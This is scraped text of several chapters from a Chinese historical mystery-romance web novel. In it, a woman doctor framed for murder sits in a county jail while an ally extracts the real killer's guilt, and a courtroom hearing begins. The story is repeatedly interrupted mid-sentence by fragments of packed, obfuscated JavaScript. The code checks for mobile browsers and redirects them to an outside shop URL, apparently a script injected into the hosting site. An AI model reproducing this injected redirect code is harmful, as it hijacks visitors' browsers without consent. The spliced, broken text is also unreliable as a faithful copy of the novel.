牛万金怔愣一下,但转念又想,横竖他别再计较自己跟江娘子的关系就行,毕竟她可是千叮万嘱过,断不能将两人忙活着的那件事情说给旁人听。 于是,他十分配合地用大拇指和食指虚虚圈出一个圆形,比划给司徒靖看,“大概是根这么粗的绳子,不过……到现在都还没找到呢!” “那便对了。”司徒靖微微颔首。 啊?对什么对? 牛万金满脑门子疑问,可司徒靖却没有要与他详细解释的意思,反倒是同他拉扯起别的闲篇。 说来也是奇怪,此人瞧着一副闷声不响的棺材样,也不像是个爱嚼舌根的主,没想到张嘴却同他打听了一堆衙门里的破事,特别是谁跟谁在抱团,谁同谁不对付,说的他口干舌燥。 直到牛万金意犹未尽地将人送出义庄,又把自己抖落出去的县衙秘辛咀嚼回味一番,这才后知后觉地猛拍大腿。 愣头青不会是想劫狱吧? 当然,司徒靖还不至于劫狱,但他的确有去县衙牢狱里走上一遭的计划。 初春的夜里潮湿阴冷,江楚禾又多半受了刑,不知现下处境如何,还能不能熬得住…… 想到此处,他的心都要揪成一团,连脚步也比平时快上许多。 他想,待完成接下来的几件要事,定要去见见那个令他朝思暮想,放心不下的人。 * 江楚禾是被狱卒用半个脏馒头给砸醒的。 按大梁律法的规定,诸州刑犯一般都关押在州府牢狱,只有尚未定案的嫌犯才会暂时收监在县衙牢狱中,是以此处规模并不算大。 狱中女犯本就寥寥,依律又要单独收容在女监之内,因此江楚禾此时虽身陷囹圄,但也算是得了把“独享广厦”的待遇,饥困交加之下便在这宽敞安静的牢房中睡了过去。 狱卒也是头一回见到能捱过刑讯,还在被收监后一觉睡到饭点儿的女囚,放饭时特意多瞧了一眼。 方才跟班房里那伙同僚吃饭闲扯时他曾听人说过,这位就是那个能当街同壮汉大战数个回合并成功将其擒拿,事后又与之约架将其杀害的“弋陵第一母夜叉”。 可是…… 这小女娘分明长得娇俏甜美,此时又是刚刚睡醒,正睁着一双水杏大眼迷迷糊糊地朝外望着,看上去一点也不吓人嘛! 不过,下一瞬他就止住了这个以貌取人的愚蠢想法。 江楚禾发现那小狱卒在用探究的眼神偷偷瞧着自己,毫不留情地就瞪了回去,转头又恶狠狠地咬了口馒头,十分豪迈地咀嚼起来。 她到底尝过民间甘苦,同身在兴京时已大不一样。 如今的江楚禾最是明白“留得青山在,不怕没柴烧”的道理,饿极了恐怕连泔水都咽得下。 待填饱肚子,她总算是恢复了一些精力,开始认真思考起自己当下的处境来。 为防止串供,县衙一般不允许亲友探视在押嫌犯,因此,除将审讯时几位官差的只言片语拼凑推敲之外,江楚禾很难有别的机会能对自己陷入的这场无妄之灾细细探查。 而就她目前的经历来看,无论是县尉刘亢还是捕头廖庆都像是对她的冤情毫不在意,一副急着草草结案的样子,让她不禁有种这俩人已对真凶身份心知肚明,却特意拿她这个冤大头给人顶罪的感觉。 江楚禾难掩悲哀地想:莫非……这便是江氏族人的宿命吗? 不知当年在诏狱之中,她的家人们是否也曾酷刑加身、蒙屈受辱。 一想到含冤遇难的族人,江楚禾又立刻提起精神。 她还没为家人讨回公道,所以…… 决不能死! 江楚禾暗暗为自己打气,决心在这盘死局中寻出一条生路。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922994|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 甫一镇定下来,她的脑海中就突然冒出一个人:田庸。 无论京中朝堂还是地方衙门,最要紧的关节大抵就是两处,一曰“刑名”,二曰“钱谷”;只要用好这两个位子上的人,头把交椅便能坐得轻松不少。 县令田庸显然深谙此道。 在这弋陵县衙中执掌“刑名”的是县尉刘亢,分管“钱谷”的是县丞屠牧,而衙门正中坐着的那位县太爷田庸则是两手一揣、啥也不顾,颇有几分“我无为,而民自化”的黄老智慧。 但若是危及自身利益,他当真还能如此任由手下做主? 按大梁律令的规定,寻常刑案虽然无须大理寺件件重审,但若有明显疑点,却难逃巡案御史的复查,一旦查实确有纰漏,不仅经办的捕头和县尉将被重责,对县令的失察之罪亦是处罚甚严,轻则降级、重则削官,乃至永不录用。 她记得上回同牛万金打边炉时曾听他说过一嘴,弋陵县令田庸是越州富商田氏出身。 田家虽有万贯家财但却是举族白身,可谓是富而不贵,憋屈的很。 自打十余年前建兴帝下诏恩准商户子弟参加科举后,田氏便铆足劲儿真金白银的供了许多年,可不但全族没考出一个秀才,反倒是陪读的书童名列二甲,气得族长急火攻心,险些叫停这桩替旁人做嫁衣的赔本买卖。 最后还是长老们出面,搬出田氏家族兴衰大计苦劝了数日,族长才应允继续往这无底洞里狠狠砸钱。 就这么一直赔本赔到前些年,不知是不是田家新给乡里捐的菩萨显了灵,年近不惑的田庸居然破天荒地开了窍,在殿试中顺利混上个同进士出身,之后他又在穷乡僻壤的清水衙门里蹉跎过几年光景,这才算是在四十好几的年纪得偿所愿,来弋陵当了个七品的芝麻官。 如此来之不易的官职,总不能随便就丢了吧? 江楚禾暗自思忖,此时若想破局,关窍就在于如何向田庸陈清利害,让他明白自己这个替罪羊的安危可是同他青天大老爷的乌纱帽绑在一起的。 不过有一点,江楚禾心里还是能拎得清楚。 她虽需要扯起巡按御史的虎皮来帮自己谋一个转圜的余地,却不能真的招来重审,毕竟她的身份可经不起细究。 幸好如今不过正月下旬,往年巡按大人抵达宁州的时间都是三月底,若今年新上任的这位海西道监察御史遵其前任的旧例,那么只要自己在这期间顺利昭雪,将案底抹去,便不必担心被揪出来查个底儿掉。 江楚禾深深叹出一口浊气,大字型躺平在牢房的草席上。 眼下最要紧的问题就是…… 她明日过堂时该说些什么,才能让县令田庸乖乖与自己踏上同一条贼船呢? 江楚禾半天都没能推演出个大概,只好勉强定下来个“随机应变”的行动纲领就迷迷糊糊地睡了过去。 * 夜里的芙蓉街是弋陵最热闹的去处,各家门前的美人们都使出了浑身解数招揽着过路的客人,整条街都充斥着绮靡侈丽的气氛。 可与车马盈门光鲜热闹的前院相比,这些秦楼楚馆后门的小巷却显得肮脏、幽暗,好似另一重人间。 司徒靖正藏身于此处一棵枝叶繁茂的大树中,凝神观察着望春楼内院绣阁里的动静。 望春楼是弋陵县里一家顶出名的酒楼,除吃食酒水外,楼内的侍酒美人也是一大招牌,每日一到傍晚便歌舞鼓乐不绝。 除宴饮听曲外,客人还可包下雅间打牌游戏,一应娱乐皆有美姬作陪,通宵达旦不醉不休,是当地豪绅阔少常去一掷千金的销魂窟,与本地豪商屠氏经营的烟柳阁不分上下。 但鲜有人知的是,那些勾栏乐坊的消遣都只是表象,望春楼掌柜葛木兰真正的目的只是要借此来打探消息。 方才她刚刚获知京中乱局的最新进展。 现下太子正被禁足东宫恐难翻身,而其胞弟齐王则久居深山罕有人识,夺嫡之争似乎已是箭在弦上,只消一个火星子,这桶火油就能炸翻整个兴京。 在这当口上,若能跟对人,便是从龙有功;如果跟错人,那可就万劫不复了。 真不知她的赌注究竟押得对不对。 葛木兰一边想着,一边神思恍惚地推开卧房的门。 屋里没有旁人来过的痕迹,但原本空无一物的雕花小案上却不知何时多出个毛茸茸的小东西,此刻正安静地躺在那里,散发着独特的气味。 10. 软肋 她虽不通医理,但对这味药材的名称却是再熟悉不过。 此物名唤辛夷,亦是她曾经的花名。 葛木兰在慌乱中一把扶住案几,这才注意到在那个彰示自己身份的物件之下,还有一封不曾被人开启过的书信。 上面用标准的馆阁体写着七个方正端庄的大字:使君陶子昇亲启。 数年前她还是兴京教坊的古琴行首时,曾不止一次听起那些台阁才子们抱怨这种字体雅正有余、个性不足,那时她还倚在旁边笑着附和,连连笑道此种书体抹杀了执笔者的情感,是十足的工匠字。 但此时的她,却能从这七个如雕版印刷般工整而不带感情的字迹中,清楚明白地看到对方暗藏的威胁之意。 原因无他。 陶晋,陶子昇,这位年不逾四旬便荣升刺史,重振家业的寒门才俊,不仅是虎贲中郎将王冀的乘龙快婿,还是与她苟且多年的情郎。 在数年前她脱籍来到此地经商时,可是下了大力气给自己改头换面,而这送信之人不仅知晓她曾经的身份,还了解她与陶晋的私情,更能在望春楼最为热闹的时段里不留痕迹地自由出入。 当真是可怖至极! 葛木兰轻抚心口缓了许久,待情绪平稳一些,这才出声唤人进来。 司徒靖凭借卓越的内家修为暗中听得葛木兰对心腹小厮的句句交代,又眼看后者将书信装进食盒,往宁州刺史府的方向赶起车,这才算稍稍放下心来,准备离开此处,去往下一桩要事的地点。 不料,一阵哭闹声突然打断他的动作。 “刘县尉!您就可怜可怜民妇吧!”在不远处的巷口,一名少妇正跪在刘亢的脚边,扯着他的衣袖不肯撒手。 “海娘!你……快起来!有什么事明日去衙门里说,莫要在此……拉拉扯扯……惹人闲话!”刘亢环顾一圈,见四下无人,算是略微松了口气,转头就满脸嫌恶地催促她赶紧离开。 但孔海花却没有打算作罢的意思,她用力拽了拽手中的那截布料,泪眼婆娑地啜泣道:“刘县尉可要为民做主啊!我儿离家已有两日,如今没有半点消息,衙门若再不帮忙寻人,怕是……怕是要……生不见人……” 许是突然想起要避谶的缘故,她讲到此处又赶紧噤声,一手哆哆嗦嗦地抹着泪,另一手却还是死死抓着刘亢的长袖。 听到这里,司徒靖对那女子的身份有了猜测。 其实在听闻此案之初,他就有些不解,既然杀害李全的凶手选择抛尸江中,必然是想尽力拖延尸身被发现的时间,而牛万金曾提到尸体在被发现时怀中放有碇石等重物,可见行凶者的确为使尸体下沉做出过努力。 那么李全的尸身又怎会在如此短的时间内就重见天日? 为解此疑惑,他傍晚时特意向牛万金追问过细节,这才知晓原来前日曾有一名叫赵虎娃的孩童在江边走失,其母特意请来在江边捞人寻尸的工人苦苦找寻半日,孩子虽然没找着,却意外捞出了李全的尸首。 司徒靖看着不远处的一双人影,猜想正是那走失孩童的母亲在江中寻尸未果,又全无其他音讯,自觉走投无路,这才尾随刘亢至此,想求他援手寻人。 只是看这样子,恐怕并不乐观。 果然,刘亢与她拉扯没有几下,就又推脱起来:“海娘!你莫要这般为难本官!衙门自有衙门的规矩,按大梁律令,庶民失踪要超过七十二个时辰才予立案,你家虎娃离家不过两天的工夫,兴许只是贪玩走失,你莫要焦急过度,乱了方寸!” 他的语气越发冷硬,但孔海花却仍不肯放手,她一边呜呜咽咽地哭着,一边还不忘与他继续拉扯。 司徒靖将这一切看在眼里,推己及人,心中不免泛起酸苦。 他曾以为,都是愚者多情,才会苦于爱别离、求不得。 如今想来,竟是自己年少浅薄。 世人皆有软肋,他亦未能免俗。 孔海花抽抽搭搭的哭泣声还在小巷中回响,每一下都惹得他更为心焦。 终于,司徒靖瞧准刘亢俯身的空当,借着夜色的遮掩离开了那里。 他曾错失过守护自己心悦之人的机会,绝不能再有第二次! 待司徒靖再次回到水神庙时,天色已近三更,王富刚醒来不久,正在地上翻滚扭动着,试图挣脱他身上的重重绳索。 “王大副还是省些力气罢。” 王富认出那罪魁祸首的声音,立时不再动弹,瞪着双眼紧紧盯住对方。 司徒靖轻掩殿门,在距离王富几步远的位置停下脚步,居高临下地看着对方:“空耗半日,不知王大副现下可想明白了?” “想……想啥玩意?你先将绳子给我解开!” “这便忘了?那我且帮你回忆一下。”司徒靖微微向前倾身,直视王富的双眼,“白日我离开之前曾问过王大副几个问题,当时你很不配合,我迫于无奈才出此下策。” 他将视线下移,看了看王富被牢牢捆缚的身体,又继续道:“将你这般不体面地留在此处。如今已有旁人证实了我的猜想,你的答案本已无关紧要,但我出于仁德之心,还是想为你指条生路。” “呸!”王富一口浓痰向前吐去,没想那人却像是早有预见似的轻巧躲开,引得他怒火更盛,张口就骂:“他奶奶的!你这外乡人自以为有些手段便能无法无天了吗?别以为老子不懂大梁律法,你这可是拘禁良民!是要坐牢的!” 王富虽只有二十出头的年纪,却已在赤浦码头摸爬滚打了七、八年,又有一把子蛮力傍身,从没有人胆敢如此欺辱他,眼下他真是气急了,即便被人五花大绑伸不出手来,也不忘教这小白脸些许为人之道。 可他怕是忘了,自己的手脚更不干净。 “王大副既学过梁律,那不妨同我说说,杀人抛尸又该当何罪?” 司徒靖的声音冰冷低沉,不带一丝起伏,让王富想起了儿时在书市偷拿的话本里那位双目如电的冥府判官,他不禁一阵战栗。 “你……你怎么……”话到嘴边,王富立即反应过来,着急忙慌地改口,“不,你在说什么?老子听不懂!” 但司徒靖却没给他留下片刻争辩的机会。 “你四肢瘀青是同李全搏斗时所致,手鱼处的齿印伤疤为李全死前挣扎时所咬,掌心与指间血痕乃是用纤绳勒紧李全脖颈时因用力过度而磨出的擦伤。若你觉得受了冤枉,大可与我同去衙门,当着田县令的面一一对质。” 司徒靖一口气将话说完,微蹙眉头紧盯着面前的王富,唇角眉梢仍看不出一丝波澜,可双目之中却分明盛满怒火,看上去像是要将他生吞活剥。 王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如此想着,王富忍不住又嚎叫一句:“我说你听到没?离我家阿姎远点!” “她很安全,你还是多想着点儿自己吧。” 司徒靖原计划今晚将诸事办妥后先溜去县衙牢狱瞧一眼江楚禾再走,眼下已在此处耽搁许久,他有些心急。 “如今我已将你作案所用纤绳找出,摆在你面前的只有两条路,一是于明日辰时之前去县衙投案,二是等着捕快过来拿人。” 王富心想,廖庆与他早就是一条绳上的蚂蚱,县尉刘亢也算是半个自己人,而那常年怠工、不干正事的田县令又不会一朝转性,到时还不是己方只手遮天? 他底气不减,一脸“上头有人”的狂妄,大喊道:“那你便去告官来抓我啊!” 话一出口,他意识到自己似乎表现得太过自信,万一给这人猜出他在县衙早有安排,从中作梗可就麻烦了。 这么想着,王富又做出一副大义凛然的样子,呼嚎道:“李全一死,弋陵不知有多少百姓要拍手叫好,我说过了,这是替天行道!谁对谁错,官爷心中自会有一杆秤,容不得你个外乡人叽叽喳喳!” “你替天行道为何要连累旁人无故遭受牢狱之灾?” 听得这句怒吼,王富一愣。 这人折腾一遭,竟是为了那个江娘子? 11. 夜探 当初在选定这个替罪羊时,他与廖庆也是花过不少心思的。 首先,江娘子是两年前南部大疫期间受青囊山庄派遣才来的宁州,在弋陵毫无根基,虽说曾因协助抗疫受过官府的嘉奖,但说到底,她不过就是个臭郎中,被诬陷后又能怎样? 而那青囊山庄虽算是有些名气,也无非就是多开了几家医馆,又因医术高明而被民间捧得高些罢了,真要和官老爷拗起来,就如同胳膊拧上大腿一般,即便再不忍自家弟子蒙冤也无济于事,不过多久便会懂得知难而退,乖乖舍弃江娘子这个倒霉蛋。 如此一来,江娘子既有杀人嫌疑,又无人为她做主,正合适当那个冤大头。 到时只要廖庆略施手段逼得那娘们画了押,再哄着刘县尉于升堂时走个形式,待田县令在判词上签个字,便可坐等替死鬼秋后处斩。 他自以为想得已足够周全。 可眼下这场戏…… 怎么就没按自己写的台本子唱下去呢? 王富满腹狐疑,仰头看着面前的男人。 司徒靖方才吼的那一嗓子让他自己都有些吃惊。 他一向端庄自持,即便偶有愠怒,也犹如深潭中转瞬即逝的微澜,几时有过这般模样? 从得知江楚禾蒙冤以来,司徒靖察觉自己的情绪波动已愈发明显且难以自制,这对他而言可并不多见。 十数载伴青灯古卷,既打磨了他的心性,也压抑了他的情感,而他上次浅露几分人之七情也已是数年之前的旧事。 如此明显的异常,他怎能视若无睹? 他不知是自己用情过深、关心则乱,还是潜藏在他身体之中的无名毒物正在悄然影响他的心智。 无论如何,都不能再继续耽搁下去。 司徒靖冷声发问:“我再问最后一次,你是要主动投案还是等人抓捕?” 谁知对方轻哼一声,竟不作回应。 司徒靖明白,这便是要顽抗到底的意思,他凑近在对方耳边低语几句。 王富听罢,铁青着脸瞪向他,像是发作不能的样子。 司徒靖面色未变,抬手在王富脖颈上猛地一击,那虎背熊腰的汉子还没来得及做出反应,就像块石头般重重砸了下去。 阿姎听到殿内“咚”的一声,不禁发出惊呼,正在手足无措时,就见那位外乡来的俊美郎君独自走了出来。 司徒靖在听过阿姎自述与王富相识的始末后,便对这个苦命的姑娘暗存几分恻隐之心。 他想,既然杀人抛尸并无阿姎的一份,那么只要她无意站在王富那边,放她离开也并无不可,因此在刚回到水神庙时便同她已说清楚,允许她自寻生路。 怎么人还没走? 见司徒靖冷着脸朝她走来,阿姎低下头,手头绞着裙摆,默默站定。 “我方才已同你说过,令兄杀人抛尸又嫁祸于人,有违梁律其罪当诛。然,念在你并非同伙,我愿放你一条生路,只要你不协助王富出逃,便可自行离去,不必守在这里。” 但她站那不动,像是并没有离开的打算。 司徒靖当下神色一凛:“莫非你……” 阿姎眼见对方像是起了疑心,慌忙摆手解释道:“不不不,郎君千万别误会!我虽没读过书,却也明白杀人偿命的道理。何况……王富对我……同李全也没有多少区别……我若真稀罕他,又怎会宁可将自己卖入黄家做奴,也要凑银两还给养母呢?” “那你可是需要盘缠?我这里有些银子,你先拿去用,权当做是……归元堂江娘子的好意。” “不用的!郎君……”阿姎连连摆手推拒,嘴上却还是吞吞吐吐。 “有话直说。”司徒靖面色冰冷。 “我就是……有个头想让郎君帮忙捎给江娘子!” 你让我给她捎个…… “什么?”司徒靖平生第一次对自己的耳力产生怀疑。 阿姎却不觉此言有何不妥,她自顾自跪下去,伏地磕了个响头。 “上元夜多亏江娘子出手相救,这才保住了我的清白,可那日我被吓得不轻,还没顾上向江娘子道谢,后来也没见着她……如今我阿兄……哦不,王富做出这样的事,还连累江娘子下了狱,她怕是也不想再见到我。所以……我想请郎君将这个头捎给江娘子,谢谢她的救命之恩!” 说着阿姎又磕了一个,“这个头是多谢郎君帮我捎……” 她真觉得这玩意也是能“捎”的? “你先起来!” “郎君你这是答应了?” 他闻言眉心一抽,立时想起了江楚禾家里的那位少年药僮。 如今民间这都是什么风气? 司徒靖无奈道:“江娘子不会迁怒于无辜之人,你既非王富同伙,大可以安心寻她,当面致谢。” “可是……” “何况,我恐怕也没有机会替你捎些什么。” “啊?”阿姎顿感疑惑。 她的长相虽算不得有多漂亮,可眉眼弯弯,笑起来时喜气洋洋的,经常被村里媒婆叫去在婚礼喜宴上打杂,早已练出了只需一瞥就能精准分辨“有情人”的火眼金睛。 这郎君虽说看上去冷冰冰的,但在提起江娘子时那份夹杂着温柔的忧思却是丁点都遮掩不住,大有想同江娘子恩爱百年的意思,怎可能连捎个头的机会都没有? 可只有司徒靖心中明白,今夜过后,他怕是再没有借口留在江楚禾身边了。 眼下已是三更天,他若是即刻动身,兴许还能赶在天明之前同她再相处两个时辰。 那是他许给自己的,最后的念想。 纵使不愿、不甘、不舍,他也只能尊重她的选择。 但当他隔着牢门看到江楚禾瑟缩在角落的可怜模样时,几乎要立刻推翻自己的决定。 那一瞬,他只想不管不顾地将她从牢中救出,奔逃至天涯海角。 可是不行。 即便他情愿放下一切换得与她相守,也不能让江楚禾就这样不明不白地当一个“逃犯”,从此过上见不得光的日子。 他要让她清清白白地离开这里。 司徒靖是不久前刚赶到此处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许是因为忧思过重,她在刚躺下时迷迷糊糊地连做了好几桩噩梦,可挨到了后半夜,不知怎的竟睡得无比安稳,一觉无梦到天明不说,醒来还神采奕奕,连手上的伤都好了大半。 只是这味儿闻着…… 怎么不像是自己的那瓶药膏呢? 她心下疑惑,伸着指头在那嗅了又嗅,前来提人的小狱卒冲进女监查看时,见到的就是如此滑稽的一幕。 方才他见值守的同僚竟瘫在地上,吓得差点背过气去,虽说县衙还没出过劫狱逃跑的先例,可这种事情谁又敢打包票? 毕竟,里边关着的可是“弋陵第一母夜叉”啊! 他忙冲进女监查看,待站到门前时却见这狱里唯一的女囚正蹲在牢中旁若无人地嗅着自己的手指头。 其人神色自如,仿佛正在自家医馆试药。 “喂!你干嘛呢?”他用刀柄敲了敲牢门,大喝一声:“快出来!时辰已到,该上堂了!” 12. 过堂 “怎么这么早啊……” 江楚禾不情不愿地起了身,虽然她昨夜睡得不错,但今早还没进食,不是很有动力上堂。 “快点!”看她磨磨蹭蹭半天走不到门口,狱卒黑着脸催促起来。 她揉着已经饿瘪的肠胃,在打狱卒身边走过时还不死心地又问了句:“早上不放饭啊?” “放个屁!” 今早天没亮时他就被班头从被.窝里给拎了出来,说是田县令要亲自提审江娘子,让他们早点起来做准备,以至于他到现在还饿着肚子。 真是想起这茬就来气! 要说今日还真像太阳打西边出来似的,往常衙门里的刑案几乎都是县尉刘亢拍板,县令田庸则端坐正中、全程放空,只在最后出判词时签个字完事。 可这回不知县太爷是抽了哪根筋,五更天时突然差人来问案件进展,天不亮就要人去义庄将死者尸身请回衙门,还叫牛仵作过来废话半天,可把他们给折腾的够呛。 此时,同样满腹牢骚的还有县尉刘亢。 清晨占卜接连掷出三个阴杯时,他就知道今日怕是要走背运。 谁承想,不过一刻的功夫就应验了! 廖庆登门报信,称田县令突然说要亲自审查李全的案子,两人的计划恐怕没那么容易得手,最好还是早做打算。 实在不成,就在关键时刻弃卒保车,好歹别耽误之后的大事,才不枉圣母福荫多年。 刘亢忍不住在心里暗暗责怪起王富那厮来。 毕竟,若非他做事手脚不麻利,意外被李全拿到了把柄,又何来之后灭口又栽赃的破事? 他想,自己不久前刚有机会侍奉在教中圣女座下,就将差事办得如此糊涂,万一误了往后的安排,怕是要引得圣女不快。 如若圣母因此降罪,自己福薄命薄的,又如何担待得起…… 思及此处,他急得又用帕子抹了把汗,这才匆匆忙忙地往县衙赶去。 为今之计,还是得赶紧闹明白那位县老爷究竟都知道些什么,才好盘算到底要丢弃哪个卒子的事。 刘亢乘着轿子一路紧赶慢赶,却不想又让孔海花给堵在了半道上,费尽口舌哄劝半晌才得以脱身,待他顺利进到县衙正堂,那位往日里消极怠工、迟到早退的县令大人已然端坐堂上。 田庸见他满头大汗地快步走来,露出慈爱的笑容:“哟,刘县尉终于到啦。” “下官来迟,还请大人恕罪。”他毕恭毕敬地作揖请罪,又用帕子擦了把脸,这才抬眼去瞧田庸的面色,可谁知竟看不出丝毫端倪。 正当刘亢准备探个口风时,田庸又放话道:“既然都到了,那便升堂罢!” 两旁衙役高喊“威武”,手中杀威棒一刻不停。 “哎呀,看样子……今日是田县令主审啊!”来看热闹的百姓啧啧称奇。 按大梁律令,县衙经手的案件一般都要公开审判,允许百姓有序围观。 如此规定,目的有二。 一来是为了教化民众,以震慑刁民歹人的枉法之心;二来是便于舆论监督,使官员徇私不至毫无顾忌。 弋陵民风尚算淳朴,加之大梁刑律严苛,因此平日里也没有多少大案,县衙处理的多是些鸡毛蒜皮的邻里纠纷,再严重点也不过就是鼠窃狗盗的小场面,鲜少有人命官司的热闹可以看,更不要说此案还是“母夜叉大战登徒子”的精彩后续,不出一刻,衙门周围便聚起密密麻麻的群众。 “肃静!肃静!哎咳咳咳……”惊堂木没在手上,就是气势不足,刘亢刚高喊两句便剧烈地咳嗽起来。 “刘县尉既喉咙不适,还是养着些罢,今日本官主审,可好?”田庸笑得一脸普度众生。 这都万事俱备了,还能有什么好不好的? 刘亢在心里翻起白眼。 都说“官大一级压死人”,就算田庸平日议事时只会垂目点头笑嘻嘻,可只要他想,这衙门还得是他说的算。 刘亢非常识相,立马点头表示:“都听您的”。 田庸满意一笑,“咣”地一声砸下手中的惊堂木,“带人犯!” 见江楚禾被左右衙役押上堂来,众位看客议论纷纷。 “大家伙快看!还真是那个江娘子哦!” “哎呦喂!不是她还能有哪个嘛!啧啧,小女娃娃还真敢杀人嘞!” “当街跟男的抓扯打架,能是什么好货色?” “就是说……哪家正经女娃像她这么泼哦!” “肃静!”田庸发话,嗓音中气十足,盖过一众嘈杂的议论声:“堂下何人?给本官报上名来!” 江楚禾自被狱卒带出牢房后,一路上都在心中排演着今日的戏本,方才又等候许久,早就已做好准备。 她拿捏起一副柔弱的姿态,杏眼嗪泪,看向端坐上首的田庸,而后重重跪下,恭敬叩首,细声细气道:“民女定州奉县江阿九,蒙冤入狱,求大人做主。” 江楚禾曾听牛万金说过,县令家中的两个女儿同她年纪一边儿大,又根据田庸平日行事作风猜想他应是生了副软心肠,一早便料定他见不得小女娘楚楚可怜的模样。 果然,待她再抬头时,田庸的神色已软下去许多,显然是有些不落忍。 廖庆站在旁边,一脸震惊:这……他奶奶的……跟昨天那钉嘴铁舌的恶婆娘是同一个人? 见鬼了吧! 他没忍住,当堂大喝一声:“你好好交代就是,在那瞎喊什么冤?” 江楚禾应声身子一歪,瞧着一副被廖庆吓到腿软的模样,为免一时难忍发笑,还特意用手微微颤抖着捂住嘴,反倒显得更加惹人心疼。 “廖庆!”田庸见状赶忙出言制止,而后又满脸慈祥地环顾一周,最后将目光投向江楚禾,“诸位都别着急!慢慢来……江娘子起身答话吧……” 廖庆气得简直胡子上天,却又不好发作,只能眼睁睁看着江楚禾做出一副娇弱姿态,慢吞吞地站起身。 而堂上的县太爷却像是完全没有发现她的扭捏作态,他低头仔细看着书吏一早递上去的照身帖,和气问道:“江阿九……你是定州人?” 江楚禾如今的身份,连同“江阿九”这个化名,都是在郾州作的伪。 大梁律法完善、治理严明,百姓若是在不携照身、又无路引的情况下擅自跨州流窜,将会被处以重罚。 那时她刚从兴京南逃,进入郾州境内,急需落下户籍以证身份。 她自知十来年的乡音并非朝夕之间就能改变,又担心兴京江氏的名头太过招摇会惹人细究,于是便趁着彼时大梁同西绝开战引得定州边境居民南迁逃亡的当口混在流民之中,利用当地衙门的宽限政策 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922997|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这才算在郾州顺利落籍。 毕竟兴京在前朝时还是定州名城兴平,口音习惯都与定州诸县无甚差异,而奉县本就是江楚禾的祖籍所在,她虽未曾归乡一探,却从祖父那里听说过不少桑梓掌故,扮起来也更得心应手些。 她迎上田庸询问的目光,乖巧点头:“民女是定州奉县人。” “龙兴之地啊!”田庸感叹一句,而后又状似随意地问道:“话说……这江姓是奉县大姓?” 刘亢和廖庆对视片刻,互相送去鼓励的眼神:果然我们可以永远相信这个束手躺平的县太爷!老半天了这都问的些啥?所以这人确实只是闲来无事突然想过一把升堂的瘾,并没有发现什么内情的对吧? 可江楚禾听着,却是心下一沉。 江姓虽说不上稀有,但也绝不能算有多常见,而奉县之内的江姓若溯其祖源,更是和自家多有牵扯。 田庸这么问,莫非是在怀疑她的身份? 她定了定神,用清澈无辜的目光直视田庸,道:“回大人的话,若论人口数目,定州江姓不过百之一二,自是比不得张王李赵;而论及门第,奉县百姓皆当以国姓为尊,江氏绝不敢称大。” 田庸不好意思地笑起来,自己方才刚感慨过“龙兴之地”,怎么转眼就忘了这茬。 “哎呀!是本官糊涂啦,诸位莫怪……实在是江姓一族在定州的声望非同一般,本官见江姓族人流落本县,有些惊诧,一时反应过度罢了。” 昨晚接到陶子昇的口信后他就在想,一个流民出身的女医怎会惊动堂堂宁州刺史夤夜派人来访,特意嘱咐“务必关照,查清事实还她清白”? 思来想去,他觉得这江姓女医定是同奉县豪族江氏有说不清的关系,今日又见此女气质出众、谈吐不俗,田庸就更确信自己没有猜错。 都说原尚书左仆射江钺是出名的乐善好施,在十余年前建兴帝恩准平民子弟科举入仕后,更是在奖掖后学上出了不少力,以至于有许多士子至今都以江氏门生自居,而陶子昇正是在那几年凭借科举二甲的成绩入仕,没准还真受过江家什么恩惠。 虽说后来江氏父子莫名其妙地被罢官抄家,之后又颇为离奇地相继病亡,但事情已过去五年仍不见有个定论,兴许还有别的转机,陶子昇若是趁江氏女落难时搭救一把,再将这顺水人情待价而沽,倒也是笔不错的买卖。 这么想着,他看向江楚禾的眼神中又多出一份探究之意。 刘亢在心中大呼不妙,他还没将栽赃大业彻底放弃,眼见田庸天马行空的想象力已经驰骋万里,险些要给这娘们抬起个不得了的身价,赶忙出言引导。 “唉……大人真不必多想,同地同姓不同族的例子眼前不是就有?您看二林村里那两户林氏……哎咳咳咳……” 可刚一插嘴,他又想起林姓旧事在此地是何等讳莫如深的存在,只好借着咳嗽又将话头遮掩过去。 “刘县尉说得也是……”见猜想未被证实,田庸也只好就坡下驴。 江楚禾将这一切看在眼里,面上不禁泛起苦笑。 她知晓刘亢之所以说这番话主要就是担心自己顺杆爬,到时再蹭着高门威望哄骗田庸相助,妨碍他痛打落水狗。 可他们哪里能想到,相比“约架杀人的母夜叉”,“江相公家的九娘子”才是她更加认不得的身份。 13. 舌辨 